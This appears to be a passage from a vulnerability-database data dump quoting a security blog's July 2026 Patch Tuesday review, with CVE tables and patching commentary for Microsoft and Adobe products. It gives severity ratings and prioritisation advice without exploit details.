Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:56.655716Z"}, {"uuid": "48a37132-a394-43ae-9c28-05ba06102bb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48581", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  